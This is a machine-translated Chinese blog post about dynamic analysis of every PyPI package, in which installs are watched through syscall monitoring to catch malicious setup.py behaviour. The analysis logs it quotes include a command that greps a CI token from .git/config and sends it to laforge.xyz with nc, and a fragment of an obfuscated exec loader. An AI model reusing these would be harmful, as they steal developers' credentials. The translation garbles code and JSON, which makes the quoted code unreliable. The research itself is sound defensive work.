大约一年前,Python软件基金会(Python Software Foundation)发起了一项信息请求(RFI),讨论如何检测上传到PyPI的恶意包。无论是接管被遗弃的包,还是在流行的库上拼字,还是使用凭据填充劫持包,这显然是一个影响到几乎每个包管理器的真正问题。
事实是,像PyPI这样的包管理器是几乎所有公司都依赖的关键基础设施。我可以在这个主题上写上几天,但我现在就让这个xkcd足够了。
这是我感兴趣的一个领域,所以我回应了我对如何处理这一问题的想法。虽然整篇帖子都是被广泛引用的美丽散文,你应该去读一读,但有一件事让我印象深刻:考虑一下安装了一个包后会发生什么。
虽然这对于某些安装活动可能是必要的,但在PIP安装过程中建立网络连接或执行命令之类的事情应该始终使用🤨进行查看,因为这不会让开发人员有太多机会在不好的事情发生之前检查代码。
我想进一步探讨这一点,所以在这篇文章中,我将详细介绍我是如何安装和分析PyPI中的每个包以查找恶意活动的。
要在安装期间运行任意命令,作者通常会向其包中的setup.py文件添加代码。您可以在此存储库中看到一些示例。
从高层次上讲,有两件事可以找到潜在的恶意依赖项:您可以查看代码中的坏处(静态分析),或者您可以冒险地安装它们,看看会发生什么(动态分析)。
虽然静态分析非常有趣(见鬼,我在NPM上发现了使用手工贪婪的恶意包),但在这篇文章中,我将重点放在动态分析上。毕竟,我认为它更稳健一些,因为你看的是实际发生的事情,而不是仅仅寻找可能发生的坏事。
一般来说,任何时候发生重要的事情都是由内核完成的。想要通过内核做重要事情的普通程序(比如pip)是通过使用syscall来实现的。打开文件、建立网络连接和执行命令都是使用syscall完成的!
这意味着,如果我们可以在安装Python包的过程中监视syscall,我们就可以看到是否发生了任何可疑的事情。这样做的好处是,不管代码多么模糊,我们都会看到实际发生了什么。
值得注意的是,监视syscall的想法不是我想出来的。亚当·鲍德温(Adam Baldwin)等人自2017年以来一直在讨论这个问题。佐治亚理工学院的研究人员发表了一篇出色的论文,其中就采用了同样的方法。老实说,这篇博文的大部分内容只是试图复制他们的作品。
所以我们知道我们想要监控syscall-我们具体如何做到这一点?
有许多工具可以让您查看syscall。对于这个项目,我使用了sysdigg,因为它既提供了结构化输出,也提供了一些非常好的过滤功能。
为了实现这一点,在启动安装包的Docker容器时,我还启动了一个仅监视来自该容器的事件的sysdigg进程。我还过滤掉了往返于pypi.org或files.pythonhosted.com的网络读/写,因为我不想在日志中填满与包下载相关的流量。
有了捕获syscall的方法,我必须解决另一个问题:如何获得所有PyPI包的列表。
对我们来说幸运的是,PyPI有一个名为“简单API”的API,它也可以被认为是“一个非常大的HTML页面,每个包都有一个链接”,因为它就是这样。它简单、干净,而且比我可能编写的任何HTML都要好。
我们可以抓取这个页面,并使用PUP解析出所有链接,给出大约268,000个包:
Pypi curl https://pypi.org/simple/|❯;a文本{}>;pypi_full.txt❯wc-l pypi_full.txt 268038 pypi_full.txt。
对于这个实验,我只关心每个包的最新版本。有可能在旧版本中隐藏了恶意版本的包,但AWS的账单不会为此买单。
简而言之,我们将每个包的名称发送到一组ec2实例(我希望将来使用Fargate或其他东西,但我也不知道Fargate,所以…)。它从PyPI获取一些关于包的元数据,然后启动sysdigg以及一系列容器,以便在收集syscall和网络流量时以pip方式安装包。然后,所有数据都被发送到S3,以备将来的约旦操心。
完成后,我在S3存储桶中存储了大约1TB的数据,涵盖了大约245,000个包。有几个包没有发布版本,有些包有各种处理错误,但这感觉像是一个很好的样例集。
我合并了元数据和输出,得到了一系列如下所示的JSON文件:
{";METADATA";:{},";输出";:{";DNS";:[],//发出的所有DNS请求";文件";:[],//所有文件访问操作";连接";:[],//建立的TCP连接";命令";:[],//执行的任何命令}}。
然后,我编写了一系列脚本来开始聚合数据,试图了解哪些是良性的,哪些是恶意的。让我们深入研究一下其中的一些结果。
包在安装过程中需要建立网络连接的原因有很多。他们可能需要下载合法的二进制组件或其他资源,它们可能是一种分析形式,或者他们可能试图从系统中窃取数据或凭据。
结果发现,有460个包与109台不同的主机建立了网络连接。就像上面提到的,其中相当多是包共享建立网络连接的依赖关系的结果。可以通过映射依赖项来过滤这些内容,但我在这里还没有做到这一点。
与网络连接一样,包在安装期间运行系统命令也有正当理由。这可以是编译本机二进制文件、设置正确的环境等等。
查看我们的样例集,发现有60,725个包在安装期间执行命令。就像网络连接一样,我们必须记住,其中许多连接将是运行命令的包的下游依赖的结果。
深入调查结果,正如预期的那样,大多数网络连接和命令似乎都是合法的。但有几个奇怪行为的例子,我想把它们作为案例研究,来展示这种类型的分析有多有用。
一个名为i-am-恶意的包似乎是恶意包的概念证明。下面是一些有趣的细节,让我们知道这个包是否值得研究(如果名称不够😉):
{";dns";:[{";名称";:";gist.githubusercontent.com";,";地址";:[";199.232.64.133";]}]],";文件";:[...{";文件名";:";/tmp/malicious.py";,";标志";:";O_RDONLY|O_CLOEXEC";},...{";文件名";:";/tmp/恶意-is-here";,";标志";:";O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC";},...],";命令。Python/tmp/malicious.py";]}。
我们已经可以对这里发生的事情有一些了解了。我们看到与gist.github.com建立了一个连接,正在执行一个Python文件,并创建了一个名为/tmp/恶意-was-here的文件。果然,这正是setup.py中正在发生的事情:
有问题的恶意.py只是在/tmp/恶意-was-here中添加了一条“我曾在这里”类型的消息,这表明这确实是一个概念证明。
另一个自称为恶意包的包被创造性地命名为Maliciouspackage,它的邪恶程度要高一些。以下是相关输出:
{";dns";:[{";名称";:";laforge.xyz";,";地址";:[";34.82.112.63";]}],";文件";:[{";文件名";:";/app/.git/config";,";标志";:";O_RDONLY";},],";命令";:[";sh-c apt install-y套接字";,";sh-c grep ci-Token/app/app/.git/config|NC laforge.xyz 5566";,";grep ci-Token/app/.git/config&34;,";
和以前一样,我们的输出让我们对正在发生的事情有一个很好的了解。在本例中,该包似乎从.git/config文件中提取了一个令牌,并将其上传到laforge.xyz。通过查看setup.py,我们可以看到这正是正在发生的事情:
EasyIoCtl包是一个有趣的包。它声称提供了“从枯燥的IO操作中解脱出来的抽象”,但我们看到以下命令正在执行:
可疑,但并不是很有害。然而,这是一个完美的例子,展示了跟踪syscall的威力。以下是项目setup.py中的相关代码:
类MyInstall():def run(Self):CONTROL_FLOW_Guard_Controls=';[电子邮件受保护]`eBYNQ)wg+-,ka}fm(=2v4AVp![DR/\\ZDF9S\x0c~PO%YC X3UK:.w\x0b L$ijq<;&;\r 6*?\';1>;msz_^C\t o。Control_Flow_Guard_mappers=[81,71,29,78,99,83,48,78,40,90,78,40,54,40,46,40,83,6,71,22,68,83,78,95,47,80,48,34,83,71,29,34,83,6,40,83,81,2,13,69,24,50,68,11]CONTROL_FLOW_GROUD_INIT=";";对于CONTROL_FLOW_Guard_mappers中的CONTROL_FLOW_CODE:CONTROL_FLOW_GARD_INIT=CONTROL_FLOW_Guard_init+CONTROL_FLOW_Guard_Controls[CONTROL_FLOW_CODE]EXEC(CONTROL_FLOW_。
有这么多令人困惑的事情,很难说是怎么回事。传统的静态分析可能会捕获对exec的调用,但仅此而已。
要了解这是什么情况,我们可以将EXEC替换为指纹,结果是:
这正是我们记录的命令,表明即使代码混淆也不会影响我们的结果,因为我们是在syscall级别进行监控。
当我们发现恶意程序包时,有必要简要讨论一下我们可以做些什么。首先要做的是提醒PyPI志愿者,这样他们就可以取下包裹。这可以通过联系[受保护的电子邮件]1来完成。
之后,我们可以使用BigQuery上的PyPI公共数据集来查看包被下载了多少次。
以下是一个示例查询,用于了解在过去30天内安装了多少次恶意程序包:
#StandardSQL SELECT COUNT(*)as num_downages from`the-psf。皮皮人。FILE_DOWNLOADS`WHERE文件。项目=#39;恶意包--仅查询DATE_SUB(CURRENT_DATE(),INTERVAL 30天)和CURRENT_DATE()之间最近30天的历史记录和日期(时间戳)。
这第一个过程只是作为一个整体对PyPI进行了初步的了解。通过查看数据,我没有发现任何在名称中没有“恶意”的程序包有明显的有害活动,这很好!但总有可能我错过了什么,或者它会在未来发生。如果你对挖掘数据感兴趣,你可以在这里找到。
接下来,我将设置一个Lambda函数,以使用PyPI的RSS提要获取最新的包更改。每个更新的包裹都会经过相同的处理过程,如果检测到可疑活动,就会发出警报。
我仍然不喜欢仅仅通过用户安装程序包就可以在用户系统上运行任意命令。我知道大多数用例都是良性的,但它带来了必须考虑的风险。希望通过加强对各种包管理器的监控,我们可以在恶意活动产生重大影响之前识别出其迹象。
这并不是PyPI独有的。在此之后,我希望对RubyGems、NPM和其他软件运行同样的分析--就像我前面提到的研究人员一样。同时,您可以在这里找到用于运行实验的所有代码,如果您有任何问题,请一如既往地告诉我!